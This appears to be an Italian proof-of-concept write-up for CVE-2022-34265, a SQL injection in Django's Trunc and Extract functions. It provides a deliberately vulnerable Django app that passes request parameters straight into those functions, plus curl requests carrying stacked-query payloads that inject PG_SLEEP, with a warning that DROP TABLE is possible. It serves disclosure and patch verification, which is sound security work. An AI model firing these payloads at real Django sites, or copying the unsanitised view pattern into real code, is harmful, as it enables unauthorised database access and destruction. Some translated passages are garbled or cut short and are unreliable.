
PoC per CVE-2022-34265 (Django)
avvio
docker-compose build
docker-compose up -d
arresto
docker-compose down
Una vulnerabilità (CVE-2022-34265) in Django è stata divulgata il 5 luglio 2022 (ora USA). Questo articolo descrive la nostra discussione su questa vulnerabilità e i risultati della verifica.
Questa vulnerabilità è dovuta a un'elaborazione impropria delle stringhe durante l'esecuzione di SQL per gli argomenti delle funzioni Trunc e Extract utilizzate per i dati data in Django. Specificando i parametri della richiesta così come sono nell'argomento kind di Trunc o nell'argomento di , esiste il rischio che possano essere eseguite istruzioni SQL arbitrarie.
Sfruttando questa vulnerabilità, un terzo può inviare comandi al database per accedere a dati non autorizzati o eliminare il database.
lookup_nameExtractMolte delle vulnerabilità scoperte in Django in passato erano vulnerabilità di SQL Injection, e ci siamo chiesti se esistessero altre vulnerabilità come CVE-2020-7471, quindi abbiamo controllato a turno gli argomenti delle funzioni del database, abbiamo trovato argomenti che non erano stati disinfettati, e Takuto Yoshikai (l'autore) lo ha segnalato all'IPA e al team di sviluppo di Django.
Di conseguenza, nel rilascio che risolve la CVE-2022-34265
Sono state intraprese le seguenti azioni per affrontare questi problemi.
vuln/models.py
Abbiamo usato un esempio dalla Documentazione Django, modello per una tabella che registra l'ora di inizio e fine di una data.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
Questo filtra i numeri dell'anno nella colonna start_datetime di Experiment che sono uguali all'anno, mese, giorno, ora, minuto, secondo, ecc. di end_datetime. Una vulnerabilità di SQL Injection potrebbe essere attivata da qui.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
La funzione Trunc è usata per troncare porzioni specifiche di anno, mese, giorno, ora, minuto, secondo, ecc. dei dati di data e ora. Nell'esempio sopra, start_datetime e start_datetime con la porzione payload troncata sono lo stesso record. Qui è dove potrebbe essere attivata la vulnerabilità di SQL Injection.
Per verificare che l'attacco abbia successo, usa l'istruzione PG_SLEEP per vedere se c'è un ritardo nel tempo in cui la risposta viene restituita.
# Normal URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL where the database instruction can be executed
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
Ho specificato 5 secondi in PG_SLEEP, ma sembra che PG_SLEEP(5) impieghi diversi secondi. Sembra essere chiamato diversi secondi a seconda dell'implementazione e della situazione. Poiché è possibile eseguire istruzioni SQL arbitrarie, sono possibili attacchi pericolosi come l'eliminazione del database.
Come risultato della nostra discussione e verifica, abbiamo scoperto che non c'è una piccola possibilità di un attacco riuscito a seconda dell'implementazione. Ti consigliamo di aggiornare il tuo sistema il prima possibile per evitare il rischio di DROP TABLE nello scenario peggiore.